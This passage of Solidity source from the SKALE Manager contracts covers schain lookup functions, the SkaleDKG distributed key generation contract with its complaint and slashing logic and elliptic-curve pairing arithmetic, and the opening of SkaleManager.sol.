getSchainListSize(address from) external view returns (uint) { return schainIndexes[from].length; } /** * @dev getSchainIdsByAddress - gets array of hashes by Schain names which owned by `from` * @param from - owner of some Schains * @return array of hashes by Schain names */ function getSchainIdsByAddress(address from) external view returns (bytes32[] memory) { return schainIndexes[from]; } /** * @dev getSchainIdsForNode - returns array of hashes by Schain names, * which given Node composed * @param nodeIndex - index of Node * @return array of hashes by Schain names */ function getSchainIdsForNode(uint nodeIndex) external view returns (bytes32[] memory) { return schainsForNodes[nodeIndex]; } /** * @dev getLengthOfSchainsForNode - returns number of Schains which contain given Node * @param nodeIndex - index of Node * @return number of Schains */ function getLengthOfSchainsForNode(uint nodeIndex) external view returns (uint) { return schainsForNodes[nodeIndex].length; } /** * @dev getSchainIdFromSchainName - returns hash of given name * @param schainName - name of Schain * @return hash */ function getSchainIdFromSchainName(string calldata schainName) external pure returns (bytes32) { return keccak256(abi.encodePacked(schainName)); } function getSchainOwner(bytes32 schainId) external view returns (address) { return schains[schainId].owner; } /** * @dev isSchainNameAvailable - checks is given name available * Need to delete - copy of web3.utils.soliditySha3 * @param name - possible new name of Schain * @return if available - true, else - false */ function isSchainNameAvailable(string calldata name) external view returns (bool) { bytes32 schainId = keccak256(abi.encodePacked(name)); return schains[schainId].owner == address(0); } /** * @dev isTimeExpired - checks is Schain lifetime expired * @param schainId - hash by Schain name * @return if expired - true, else - false */ function isTimeExpired(bytes32 schainId) external view returns (bool) { return schains[schainId].startDate.add(schains[schainId].lifetime) < block.timestamp; } /** * @dev isOwnerAddress - checks is `from` - owner of `schainId` Schain * @param from - owner of Schain * @param schainId - hash by Schain name * @return if owner - true, else - false */ function isOwnerAddress(address from, bytes32 schainId) external view returns (bool) { return schains[schainId].owner == from; } function isSchainExist(bytes32 schainId) external view returns (bool) { return keccak256(abi.encodePacked(schains[schainId].name)) != keccak256(abi.encodePacked("")); } function getSchainName(bytes32 schainId) external view returns (string memory) { return schains[schainId].name; } function getActiveSchain(uint nodeIndex) external view returns (bytes32) { for (uint i = schainsForNodes[nodeIndex].length; i > 0; i--) { if (schainsForNodes[nodeIndex][i - 1] != bytes32(0)) { return schainsForNodes[nodeIndex][i - 1]; } } return bytes32(0); } function getActiveSchains(uint nodeIndex) external view returns (bytes32[] memory activeSchains) { uint activeAmount = 0; for (uint i = 0; i < schainsForNodes[nodeIndex].length; i++) { if (schainsForNodes[nodeIndex][i] != bytes32(0)) { activeAmount++; } } uint cursor = 0; activeSchains = new bytes32[](activeAmount); for (uint i = schainsForNodes[nodeIndex].length; i > 0; i--) { if (schainsForNodes[nodeIndex][i - 1] != bytes32(0)) { activeSchains[cursor++] = schainsForNodes[nodeIndex][i - 1]; } } } function initialize(address newContractsAddress) public initializer { GroupsData.initialize("SchainsFunctionalityInternal", newContractsAddress); numberOfSchains = 0; sumOfSchainsResources = 0; } } /* SkaleDKG.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.5.16; pragma experimental ABIEncoderV2; import "./Permissions.sol"; import "./interfaces/IGroupsData.sol"; import "./interfaces/INodesData.sol"; import "./interfaces/ISchainsFunctionality.sol"; import "./interfaces/ISchainsFunctionalityInternal.sol"; import "./delegation/Punisher.sol"; import "./NodesData.sol"; import "./SlashingTable.sol"; import "./SchainsFunctionality.sol"; import "./SchainsFunctionalityInternal.sol"; interface IECDH { function deriveKey( uint256 privKey, uint256 pubX, uint256 pubY ) external pure returns (uint256, uint256); } interface IDecryption { function decrypt(bytes32 ciphertext, bytes32 key) external pure returns (uint256); } contract SkaleDKG is Permissions { struct Channel { bool active; address dataAddress; bool[] broadcasted; uint numberOfBroadcasted; Fp2 publicKeyx; Fp2 publicKeyy; uint numberOfCompleted; bool[] completed; uint startedBlockTimestamp; uint nodeToComplaint; uint fromNodeToComplaint; uint startComplaintBlockTimestamp; } struct Fp2 { uint x; uint y; } struct BroadcastedData { bytes secretKeyContribution; bytes verificationVector; } uint constant P = 21888242871839275222246405745257275088696311157297823662689037894645226208583; uint constant G2A = 10857046999023057135944570762232829481370756359578518086990519993285655852781; uint constant G2B = 11559732032986387107991004021392285783925812861821192530917403151452391805634; uint constant G2C = 8495653923123431417604973247489272438418190587263600148770280649306958101930; uint constant G2D = 4082367875863433681332203403145435568316851327593401208105741076214120093531; uint constant TWISTBX = 19485874751759354771024239261021720505790618469301721065564631296452457478373; uint constant TWISTBY = 266929791119991161246907387137283842545076965332900288569378510910307636690; uint constant G1A = 1; uint constant G1B = 2; mapping(bytes32 => Channel) public channels; mapping(bytes32 => mapping(uint => BroadcastedData)) data; event ChannelOpened(bytes32 groupIndex); event ChannelClosed(bytes32 groupIndex); event BroadcastAndKeyShare( bytes32 indexed groupIndex, uint indexed fromNode, bytes verificationVector, bytes secretKeyContribution ); event AllDataReceived(bytes32 indexed groupIndex, uint nodeIndex); event SuccessfulDKG(bytes32 indexed groupIndex); event BadGuy(uint nodeIndex); event FailedDKG(bytes32 indexed groupIndex); event ComplaintSent(bytes32 indexed groupIndex, uint indexed fromNodeIndex, uint indexed toNodeIndex); event NewGuy(uint nodeIndex); modifier correctGroup(bytes32 groupIndex) { require(channels[groupIndex].active, "Group is not created"); _; } modifier correctNode(bytes32 groupIndex, uint nodeIndex) { uint index = findNode(groupIndex, nodeIndex); require(index < IGroupsData(channels[groupIndex].dataAddress).getNumberOfNodesInGroup(groupIndex), "Node is not in this group"); _; } function openChannel(bytes32 groupIndex) external allowThree("SchainsData", "MonitorsData", "SkaleDKG") { require(!channels[groupIndex].active, "Channel already is created"); channels[groupIndex].active = true; channels[groupIndex].dataAddress = msg.sender; channels[groupIndex].broadcasted = new bool[](IGroupsData(channels[groupIndex].dataAddress).getRecommendedNumberOfNodes(groupIndex)); channels[groupIndex].completed = new bool[](IGroupsData(channels[groupIndex].dataAddress).getRecommendedNumberOfNodes(groupIndex)); channels[groupIndex].publicKeyy.x = 1; channels[groupIndex].nodeToComplaint = uint(-1); channels[groupIndex].startedBlockTimestamp = block.timestamp; emit ChannelOpened(groupIndex); } function deleteChannel(bytes32 groupIndex) external allowTwo("SchainsData", "MonitorsData") { require(channels[groupIndex].active, "Channel is not created"); delete channels[groupIndex]; } function reopenChannel(bytes32 groupIndex) external allow("SkaleDKG") { require(channels[groupIndex].active, "Channel is not created"); delete channels[groupIndex].broadcasted; delete channels[groupIndex].completed; channels[groupIndex].broadcasted = new bool[](IGroupsData(channels[groupIndex].dataAddress).getRecommendedNumberOfNodes(groupIndex)); channels[groupIndex].completed = new bool[](IGroupsData(channels[groupIndex].dataAddress).getRecommendedNumberOfNodes(groupIndex)); delete channels[groupIndex].publicKeyx.x; delete channels[groupIndex].publicKeyx.y; channels[groupIndex].publicKeyy.x = 1; delete channels[groupIndex].publicKeyy.y; delete channels[groupIndex].fromNodeToComplaint; channels[groupIndex].nodeToComplaint = uint(-1); delete channels[groupIndex].numberOfBroadcasted; delete channels[groupIndex].numberOfCompleted; delete channels[groupIndex].startComplaintBlockTimestamp; channels[groupIndex].startedBlockTimestamp = block.timestamp; emit ChannelOpened(groupIndex); } function broadcast( bytes32 groupIndex, uint nodeIndex, bytes calldata verificationVector, bytes calldata secretKeyContribution ) external correctGroup(groupIndex) correctNode(groupIndex, nodeIndex) { require(isNodeByMessageSender(nodeIndex, msg.sender), "Node does not exist for message sender"); isBroadcast( groupIndex, nodeIndex, secretKeyContribution, verificationVector ); bytes32 vector; bytes32 vector1; bytes32 vector2; bytes32 vector3; assembly { vector := calldataload(add(4, 160)) vector1 := calldataload(add(4, 192)) vector2 := calldataload(add(4, 224)) vector3 := calldataload(add(4, 256)) } adding( groupIndex, uint(vector), uint(vector1), uint(vector2), uint(vector3) ); emit BroadcastAndKeyShare( groupIndex, nodeIndex, verificationVector, secretKeyContribution ); } function complaint(bytes32 groupIndex, uint fromNodeIndex, uint toNodeIndex) external correctGroup(groupIndex) correctNode(groupIndex, fromNodeIndex) correctNode(groupIndex, toNodeIndex) { require(isNodeByMessageSender(fromNodeIndex, msg.sender), "Node does not exist for message sender"); bool broadcasted = isBroadcasted(groupIndex, toNodeIndex); if (broadcasted && channels[groupIndex].nodeToComplaint == uint(-1)) { // need to wait a response from toNodeIndex channels[groupIndex].nodeToComplaint = toNodeIndex; channels[groupIndex].fromNodeToComplaint = fromNodeIndex; channels[groupIndex].startComplaintBlockTimestamp = block.timestamp; emit ComplaintSent(groupIndex, fromNodeIndex, toNodeIndex); } else if (broadcasted && channels[groupIndex].nodeToComplaint != toNodeIndex) { revert("One complaint has already sent"); } else if (broadcasted && channels[groupIndex].nodeToComplaint == toNodeIndex) { require(channels[groupIndex].startComplaintBlockTimestamp.add(1800) <= block.timestamp, "One more complaint rejected"); // need to penalty Node - toNodeIndex finalizeSlashing(groupIndex, channels[groupIndex].nodeToComplaint); } else if (!broadcasted) { // if node have not broadcasted params require(channels[groupIndex].startedBlockTimestamp.add(1800) <= block.timestamp, "Complaint rejected"); // need to penalty Node - toNodeIndex finalizeSlashing(groupIndex, channels[groupIndex].nodeToComplaint); } } function response( bytes32 groupIndex, uint fromNodeIndex, uint secretNumber, bytes calldata multipliedShare ) external correctGroup(groupIndex) correctNode(groupIndex, fromNodeIndex) { require(channels[groupIndex].nodeToComplaint == fromNodeIndex, "Not this Node"); require(isNodeByMessageSender(fromNodeIndex, msg.sender), "Node does not exist for message sender"); bool verificationResult = verify( groupIndex, fromNodeIndex, secretNumber, multipliedShare ); uint badNode = (verificationResult ? channels[groupIndex].fromNodeToComplaint : channels[groupIndex].nodeToComplaint); finalizeSlashing(groupIndex, badNode); } function alright(bytes32 groupIndex, uint fromNodeIndex) external correctGroup(groupIndex) correctNode(groupIndex, fromNodeIndex) { require(isNodeByMessageSender(fromNodeIndex, msg.sender), "Node does not exist for message sender"); uint index = findNode(groupIndex, fromNodeIndex); uint numberOfParticipant = IGroupsData(channels[groupIndex].dataAddress).getNumberOfNodesInGroup(groupIndex); require(numberOfParticipant == channels[groupIndex].numberOfBroadcasted, "Still Broadcasting phase"); require(!channels[groupIndex].completed[index], "Node is already alright"); channels[groupIndex].completed[index] = true; channels[groupIndex].numberOfCompleted++; emit AllDataReceived(groupIndex, fromNodeIndex); if (channels[groupIndex].numberOfCompleted == numberOfParticipant) { IGroupsData(channels[groupIndex].dataAddress).setPublicKey( groupIndex, channels[groupIndex].publicKeyx.x, channels[groupIndex].publicKeyx.y, channels[groupIndex].publicKeyy.x, channels[groupIndex].publicKeyy.y ); delete channels[groupIndex]; emit SuccessfulDKG(groupIndex); } } function isChannelOpened(bytes32 groupIndex) external view returns (bool) { return channels[groupIndex].active; } function isBroadcastPossible(bytes32 groupIndex, uint nodeIndex) external view returns (bool) { uint index = findNode(groupIndex, nodeIndex); return channels[groupIndex].active && index < IGroupsData(channels[groupIndex].dataAddress).getNumberOfNodesInGroup(groupIndex) && isNodeByMessageSender(nodeIndex, msg.sender) && !channels[groupIndex].broadcasted[index]; } function isComplaintPossible(bytes32 groupIndex, uint fromNodeIndex, uint toNodeIndex) external view returns (bool) { uint indexFrom = findNode(groupIndex, fromNodeIndex); uint indexTo = findNode(groupIndex, toNodeIndex); bool complaintSending = channels[groupIndex].nodeToComplaint == uint(-1) || ( channels[groupIndex].broadcasted[indexTo] && channels[groupIndex].startComplaintBlockTimestamp.add(1800) <= block.timestamp && channels[groupIndex].nodeToComplaint == toNodeIndex ) || ( !channels[groupIndex].broadcasted[indexTo] && channels[groupIndex].nodeToComplaint == toNodeIndex && channels[groupIndex].startedBlockTimestamp.add(1800) <= block.timestamp ); return channels[groupIndex].active && indexFrom < IGroupsData(channels[groupIndex].dataAddress).getNumberOfNodesInGroup(groupIndex) && indexTo < IGroupsData(channels[groupIndex].dataAddress).getNumberOfNodesInGroup(groupIndex) && isNodeByMessageSender(fromNodeIndex, msg.sender) && complaintSending; } function isAlrightPossible(bytes32 groupIndex, uint nodeIndex) external view returns (bool) { uint index = findNode(groupIndex, nodeIndex); return channels[groupIndex].active && index < IGroupsData(channels[groupIndex].dataAddress).getNumberOfNodesInGroup(groupIndex) && isNodeByMessageSender(nodeIndex, msg.sender) && IGroupsData(channels[groupIndex].dataAddress).getNumberOfNodesInGroup(groupIndex) == channels[groupIndex].numberOfBroadcasted && !channels[groupIndex].completed[index]; } function isResponsePossible(bytes32 groupIndex, uint nodeIndex) external view returns (bool) { uint index = findNode(groupIndex, nodeIndex); return channels[groupIndex].active && index < IGroupsData(channels[groupIndex].dataAddress).getNumberOfNodesInGroup(groupIndex) && isNodeByMessageSender(nodeIndex, msg.sender) && channels[groupIndex].nodeToComplaint == nodeIndex; } function initialize(address contractsAddress) public initializer { Permissions.initialize(contractsAddress); } function finalizeSlashing(bytes32 groupIndex, uint badNode) internal { SchainsFunctionalityInternal schainsFunctionalityInternal = SchainsFunctionalityInternal( contractManager.getContract("SchainsFunctionalityInternal") ); SchainsFunctionality schainsFunctionality = SchainsFunctionality( contractManager.getContract("SchainsFunctionality") ); emit BadGuy(badNode); emit FailedDKG(groupIndex); address dataAddress = channels[groupIndex].dataAddress; if (schainsFunctionalityInternal.isAnyFreeNode(groupIndex)) { uint newNode = schainsFunctionality.rotateNode( badNode, groupIndex ); emit NewGuy(newNode); this.reopenChannel(groupIndex); } else { schainsFunctionalityInternal.removeNodeFromSchain( badNode, groupIndex ); IGroupsData(dataAddress).setGroupFailedDKG(groupIndex); delete channels[groupIndex]; } Punisher punisher = Punisher(contractManager.getContract("Punisher")); NodesData nodesData = NodesData(contractManager.getContract("NodesData")); SlashingTable slashingTable = SlashingTable(contractManager.getContract("SlashingTable")); punisher.slash(nodesData.getValidatorId(badNode), slashingTable.getPenalty("FailedDKG")); } function verify( bytes32 groupIndex, uint fromNodeIndex, uint secretNumber, bytes memory multipliedShare ) internal view returns (bool) { uint index = findNode(groupIndex, fromNodeIndex); uint secret = decryptMessage(groupIndex, secretNumber); bytes memory verificationVector = data[groupIndex][index].verificationVector; Fp2 memory valX = Fp2({x: 0, y: 0}); Fp2 memory valY = Fp2({x: 1, y: 0}); Fp2 memory tmpX = Fp2({x: 0, y: 0}); Fp2 memory tmpY = Fp2({x: 1, y: 0}); for (uint i = 0; i < verificationVector.length / 128; i++) { (tmpX, tmpY) = loop(index, verificationVector, i); (valX, valY) = addG2( tmpX, tmpY, valX, valY ); } return checkDKGVerification(valX, valY, multipliedShare) && checkCorrectMultipliedShare(multipliedShare, secret); } function getCommonPublicKey(bytes32 groupIndex, uint256 secretNumber) internal view returns (bytes32 key) { address nodesDataAddress = contractManager.getContract("NodesData"); address ecdhAddress = contractManager.getContract("ECDH"); bytes memory publicKey = INodesData(nodesDataAddress).getNodePublicKey(channels[groupIndex].fromNodeToComplaint); uint256 pkX; uint256 pkY; (pkX, pkY) = bytesToPublicKey(publicKey); (pkX, pkY) = IECDH(ecdhAddress).deriveKey(secretNumber, pkX, pkY); key = bytes32(pkX); } /*function hashed(uint x) public pure returns (bytes32) { return sha256(abi.encodePacked(uint2str(x))); } function toBytes(uint256 x) internal pure returns (bytes memory b) { b = new bytes(32); assembly { mstore(add(b, 32), x) } } function uint2str(uint num) internal pure returns (string memory) { if (num == 0) { return "0"; } uint j = num; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; uint num2 = num; while (num2 != 0) { bstr[k--] = byte(uint8(48.add(num2 % 10))); num2 /= 10; } return string(bstr); } function bytes32ToString(bytes32 x) internal pure returns (string memory) { bytes memory bytesString = new bytes(32); uint charCount = 0; for (uint j = 0; j < 32; j++) { byte char = byte(bytes32(uint(x) * 2 ** (8 * j))); if (char != 0) { bytesString[charCount] = char; charCount++; } } bytes memory bytesStringTrimmed = new bytes(charCount); for (uint j = 0; j < charCount; j++) { bytesStringTrimmed[j] = bytesString[j]; } return string(bytesStringTrimmed); }*/ function decryptMessage(bytes32 groupIndex, uint secretNumber) internal view returns (uint) { address decryptionAddress = contractManager.getContract("Decryption"); bytes32 key = getCommonPublicKey(groupIndex, secretNumber); // Decrypt secret key contribution bytes32 ciphertext; uint index = findNode(groupIndex, channels[groupIndex].fromNodeToComplaint); uint indexOfNode = findNode(groupIndex, channels[groupIndex].nodeToComplaint); bytes memory sc = data[groupIndex][indexOfNode].secretKeyContribution; assembly { ciphertext := mload(add(sc, add(32, mul(index, 97)))) } uint secret = IDecryption(decryptionAddress).decrypt(ciphertext, key); return secret; } function adding( bytes32 groupIndex, uint x1, uint y1, uint x2, uint y2 ) internal { require(isG2(Fp2({ x: x1, y: y1 }), Fp2({ x: x2, y: y2 })), "Incorrect G2 point"); (channels[groupIndex].publicKeyx, channels[groupIndex].publicKeyy) = addG2( Fp2({ x: x1, y: y1 }), Fp2({ x: x2, y: y2 }), channels[groupIndex].publicKeyx, channels[groupIndex].publicKeyy ); } function isBroadcast( bytes32 groupIndex, uint nodeIndex, bytes memory sc, bytes memory vv ) internal { uint index = findNode(groupIndex, nodeIndex); require(channels[groupIndex].broadcasted[index] == false, "This node is already broadcasted"); channels[groupIndex].broadcasted[index] = true; channels[groupIndex].numberOfBroadcasted++; data[groupIndex][index] = BroadcastedData({ secretKeyContribution: sc, verificationVector: vv }); } function isBroadcasted(bytes32 groupIndex, uint nodeIndex) internal view returns (bool) { uint index = findNode(groupIndex, nodeIndex); return channels[groupIndex].broadcasted[index]; } function findNode(bytes32 groupIndex, uint nodeIndex) internal view returns (uint) { uint[] memory nodesInGroup = IGroupsData(channels[groupIndex].dataAddress).getNodesInGroup(groupIndex); uint correctIndex = nodesInGroup.length; bool set = false; for (uint index = 0; index < nodesInGroup.length; index++) { if (nodesInGroup[index] == nodeIndex && !set) { correctIndex = index; set = true; } } return correctIndex; } function isNodeByMessageSender(uint nodeIndex, address from) internal view returns (bool) { address nodesDataAddress = contractManager.getContract("NodesData"); return INodesData(nodesDataAddress).isNodeExist(from, nodeIndex); } // Fp2 operations function addFp2(Fp2 memory a, Fp2 memory b) internal pure returns (Fp2 memory) { return Fp2({ x: addmod(a.x, b.x, P), y: addmod(a.y, b.y, P) }); } function scalarMulFp2(uint scalar, Fp2 memory a) internal pure returns (Fp2 memory) { return Fp2({ x: mulmod(scalar, a.x, P), y: mulmod(scalar, a.y, P) }); } function minusFp2(Fp2 memory a, Fp2 memory b) internal pure returns (Fp2 memory) { uint first; uint second; if (a.x >= b.x) { first = addmod(a.x, P.sub(b.x), P); } else { first = P.sub(addmod(b.x, P.sub(a.x), P)); } if (a.y >= b.y) { second = addmod(a.y, P.sub(b.y), P); } else { second = P.sub(addmod(b.y, P.sub(a.y), P)); } return Fp2({ x: first, y: second }); } function mulFp2(Fp2 memory a, Fp2 memory b) internal pure returns (Fp2 memory) { uint aA = mulmod(a.x, b.x, P); uint bB = mulmod(a.y, b.y, P); return Fp2({ x: addmod(aA, mulmod(P - 1, bB, P), P), y: addmod(mulmod(addmod(a.x, a.y, P), addmod(b.x, b.y, P), P), P.sub(addmod(aA, bB, P)), P) }); } function squaredFp2(Fp2 memory a) internal pure returns (Fp2 memory) { uint ab = mulmod(a.x, a.y, P); uint mult = mulmod(addmod(a.x, a.y, P), addmod(a.x, mulmod(P - 1, a.y, P), P), P); return Fp2({ x: mult, y: addmod(ab, ab, P) }); } function inverseFp2(Fp2 memory a) internal view returns (Fp2 memory x) { uint t0 = mulmod(a.x, a.x, P); uint t1 = mulmod(a.y, a.y, P); uint t2 = mulmod(P - 1, t1, P); if (t0 >= t2) { t2 = addmod(t0, P.sub(t2), P); } else { t2 = P.sub(addmod(t2, P.sub(t0), P)); } uint t3 = bigModExp(t2, P - 2); x.x = mulmod(a.x, t3, P); x.y = P.sub(mulmod(a.y, t3, P)); } // End of Fp2 operations function isG1(uint x, uint y) internal pure returns (bool) { return mulmod(y, y, P) == addmod(mulmod(mulmod(x, x, P), x, P), 3, P); } function isG2(Fp2 memory x, Fp2 memory y) internal pure returns (bool) { if (isG2Zero(x, y)) { return true; } Fp2 memory squaredY = squaredFp2(y); Fp2 memory res = minusFp2(minusFp2(squaredY, mulFp2(squaredFp2(x), x)), Fp2({x: TWISTBX, y: TWISTBY})); return res.x == 0 && res.y == 0; } function isG2Zero(Fp2 memory x, Fp2 memory y) internal pure returns (bool) { return x.x == 0 && x.y == 0 && y.x == 1 && y.y == 0; } function doubleG2(Fp2 memory x1, Fp2 memory y1) internal view returns (Fp2 memory x3, Fp2 memory y3) { if (isG2Zero(x1, y1)) { x3 = x1; y3 = y1; } else { Fp2 memory s = mulFp2(scalarMulFp2(3, squaredFp2(x1)), inverseFp2(scalarMulFp2(2, y1))); x3 = minusFp2(squaredFp2(s), scalarMulFp2(2, x1)); y3 = addFp2(y1, mulFp2(s, minusFp2(x3, x1))); y3.x = P.sub(y3.x % P); y3.y = P.sub(y3.y % P); } } function u1(Fp2 memory x1) internal pure returns (Fp2 memory) { return mulFp2(x1, squaredFp2(Fp2({ x: 1, y: 0 }))); } function u2(Fp2 memory x2) internal pure returns (Fp2 memory) { return mulFp2(x2, squaredFp2(Fp2({ x: 1, y: 0 }))); } function s1(Fp2 memory y1) internal pure returns (Fp2 memory) { return mulFp2(y1, mulFp2(Fp2({ x: 1, y: 0 }), squaredFp2(Fp2({ x: 1, y: 0 })))); } function s2(Fp2 memory y2) internal pure returns (Fp2 memory) { return mulFp2(y2, mulFp2(Fp2({ x: 1, y: 0 }), squaredFp2(Fp2({ x: 1, y: 0 })))); } function isEqual( Fp2 memory u1Value, Fp2 memory u2Value, Fp2 memory s1Value, Fp2 memory s2Value ) internal pure returns (bool) { return (u1Value.x == u2Value.x && u1Value.y == u2Value.y && s1Value.x == s2Value.x && s1Value.y == s2Value.y); } function addG2( Fp2 memory x1, Fp2 memory y1, Fp2 memory x2, Fp2 memory y2 ) internal view returns ( Fp2 memory x3, Fp2 memory y3 ) { if (isG2Zero(x1, y1)) { return (x2, y2); } if (isG2Zero(x2, y2)) { return (x1, y1); } if ( isEqual( u1(x1), u2(x2), s1(y1), s2(y2) ) ) { (x3, y3) = doubleG2(x1, y1); } Fp2 memory s = mulFp2(minusFp2(y2, y1), inverseFp2(minusFp2(x2, x1))); x3 = minusFp2(squaredFp2(s), addFp2(x1, x2)); y3 = addFp2(y1, mulFp2(s, minusFp2(x3, x1))); y3.x = P.sub(y3.x % P); y3.y = P.sub(y3.y % P); } // function binstep(uint _a, uint _step) internal view returns (uint x) { // x = 1; // uint a = _a; // uint step = _step; // while (step > 0) { // if (step % 2 == 1) { // x = mulmod(x, a, P); // } // a = mulmod(a, a, P); // step /= 2; // } // } function mulG2( uint scalar, Fp2 memory x1, Fp2 memory y1 ) internal view returns (Fp2 memory x, Fp2 memory y) { uint step = scalar; x = Fp2({x: 0, y: 0}); y = Fp2({x: 1, y: 0}); Fp2 memory tmpX = x1; Fp2 memory tmpY = y1; while (step > 0) { if (step % 2 == 1) { (x, y) = addG2( x, y, tmpX, tmpY ); } (tmpX, tmpY) = doubleG2(tmpX, tmpY); step >>= 1; } } function bigModExp(uint base, uint power) internal view returns (uint) { uint[6] memory inputToBigModExp; inputToBigModExp[0] = 32; inputToBigModExp[1] = 32; inputToBigModExp[2] = 32; inputToBigModExp[3] = base; inputToBigModExp[4] = power; inputToBigModExp[5] = P; uint[1] memory out; bool success; assembly { success := staticcall(not(0), 5, inputToBigModExp, mul(6, 0x20), out, 0x20) } require(success, "BigModExp failed"); return out[0]; } function loop(uint index, bytes memory verificationVector, uint loopIndex) internal view returns (Fp2 memory, Fp2 memory) { bytes32[4] memory vector; bytes32 vector1; assembly { vector1 := mload(add(verificationVector, add(32, mul(loopIndex, 128)))) } vector[0] = vector1; assembly { vector1 := mload(add(verificationVector, add(64, mul(loopIndex, 128)))) } vector[1] = vector1; assembly { vector1 := mload(add(verificationVector, add(96, mul(loopIndex, 128)))) } vector[2] = vector1; assembly { vector1 := mload(add(verificationVector, add(128, mul(loopIndex, 128)))) } vector[3] = vector1; return mulG2( bigModExp(index.add(1), loopIndex), Fp2({x: uint(vector[1]), y: uint(vector[0])}), Fp2({x: uint(vector[3]), y: uint(vector[2])}) ); } function checkDKGVerification(Fp2 memory valX, Fp2 memory valY, bytes memory multipliedShare) internal pure returns (bool) { Fp2 memory tmpX; Fp2 memory tmpY; (tmpX, tmpY) = bytesToG2(multipliedShare); return valX.x == tmpX.y && valX.y == tmpX.x && valY.x == tmpY.y && valY.y == tmpY.x; } // function getMulShare(uint secret) public view returns (uint, uint, uint) { // uint[3] memory inputToMul; // uint[2] memory mulShare; // inputToMul[0] = G1A; // inputToMul[1] = G1B; // inputToMul[2] = secret; // bool success; // assembly { // success := staticcall(not(0), 7, inputToMul, 0x60, mulShare, 0x40) // } // require(success, "Multiplication failed"); // uint correct; // if (!(mulShare[0] == 0 && mulShare[1] == 0)) { // correct = P - (mulShare[1] % P); // } // return (mulShare[0], mulShare[1], correct); // } function checkCorrectMultipliedShare(bytes memory multipliedShare, uint secret) internal view returns (bool) { Fp2 memory tmpX; Fp2 memory tmpY; (tmpX, tmpY) = bytesToG2(multipliedShare); uint[3] memory inputToMul; uint[2] memory mulShare; inputToMul[0] = G1A; inputToMul[1] = G1B; inputToMul[2] = secret; bool success; assembly { success := staticcall(not(0), 7, inputToMul, 0x60, mulShare, 0x40) } require(success, "Multiplication failed"); if (!(mulShare[0] == 0 && mulShare[1] == 0)) { mulShare[1] = P.sub((mulShare[1] % P)); } require(isG1(G1A, G1B), "G1.one not in G1"); require(isG1(mulShare[0], mulShare[1]), "mulShare not in G1"); require(isG2(Fp2({x: G2A, y: G2B}), Fp2({x: G2C, y: G2D})), "G2.one not in G2"); require(isG2(tmpX, tmpY), "tmp not in G2"); uint[12] memory inputToPairing; inputToPairing[0] = mulShare[0]; inputToPairing[1] = mulShare[1]; inputToPairing[2] = G2B; inputToPairing[3] = G2A; inputToPairing[4] = G2D; inputToPairing[5] = G2C; inputToPairing[6] = G1A; inputToPairing[7] = G1B; inputToPairing[8] = tmpX.y; inputToPairing[9] = tmpX.x; inputToPairing[10] = tmpY.y; inputToPairing[11] = tmpY.x; uint[1] memory out; assembly { success := staticcall(not(0), 8, inputToPairing, mul(12, 0x20), out, 0x20) } require(success, "Pairing check failed"); return out[0] != 0; } function bytesToPublicKey(bytes memory someBytes) internal pure returns (uint x, uint y) { bytes32 pkX; bytes32 pkY; assembly { pkX := mload(add(someBytes, 32)) pkY := mload(add(someBytes, 64)) } x = uint(pkX); y = uint(pkY); } function bytesToG2(bytes memory someBytes) internal pure returns (Fp2 memory x, Fp2 memory y) { bytes32 xa; bytes32 xb; bytes32 ya; bytes32 yb; assembly { xa := mload(add(someBytes, 32)) xb := mload(add(someBytes, 64)) ya := mload(add(someBytes, 96)) yb := mload(add(someBytes, 128)) } x = Fp2({x: uint(xa), y: uint(xb)}); y = Fp2({x: uint(ya), y: uint(yb)}); } } /* SkaleManager.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.5.16; import "./Permissions.sol"; import "./interfaces/INodesData.sol"; import "./interfaces/IConstants.sol"; import "./interfaces/ISkaleToken.sol"; import "./interfaces/INodesFunctionality.sol"; import "./interfaces/ISchainsFunctionality.sol"; import "./interfaces/IManagerData.sol"; import "./delegation/Distributor.sol"; import "./delegation/ValidatorService.sol"; import "./MonitorsFunctionality.sol"; import "./NodesFunctionality.sol"; import "./NodesData.sol"; import "./SchainsFunctionality.sol"; import "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; contract SkaleManager is IERC777Recipient, Permissions { IERC1820Registry private _erc1820; bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; enum TransactionOperation {CreateNode, CreateSchain} event BountyGot( uint indexed nodeIndex, address owner, uint32 averageDowntime, uint32 averageLatency, uint bounty, uint32 time, uint gasSpend ); function tokensReceived( address, // operator address from, address to, uint256 value, bytes calldata userData, bytes calldata // operator data ) external allow("SkaleToken") { require(to == address(this), "Receiver is incorrect"); if (userData.length > 0) { TransactionOperation operationType = fallbackOperationTypeConvert(userData); if (operationType == TransactionOperation.CreateSchain) { address schainsFunctionalityAddress = contractManager.getContract("SchainsFunctionality"); ISchainsFunctionality(schainsFunctionalityAddress).addSchain(from, value, userData); } } } function createNode(bytes calldata data) external { INodesFunctionality nodesFunctionality = INodesFunctionality(contractManager.getContract("NodesFunctionality")); ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); MonitorsFunctionality monitorsFunctionality = MonitorsFunctionality(contractManager.getContract("MonitorsFunctionality")); validatorService.checkPossibilityCreatingNode(msg.sender); uint nodeIndex = nodesFunctionality.createNode(msg.sender, data); validatorService.pushNode(msg.sender, nodeIndex); monitorsFunctionality.addMonitor(nodeIndex); } function nodeExit(uint nodeIndex) 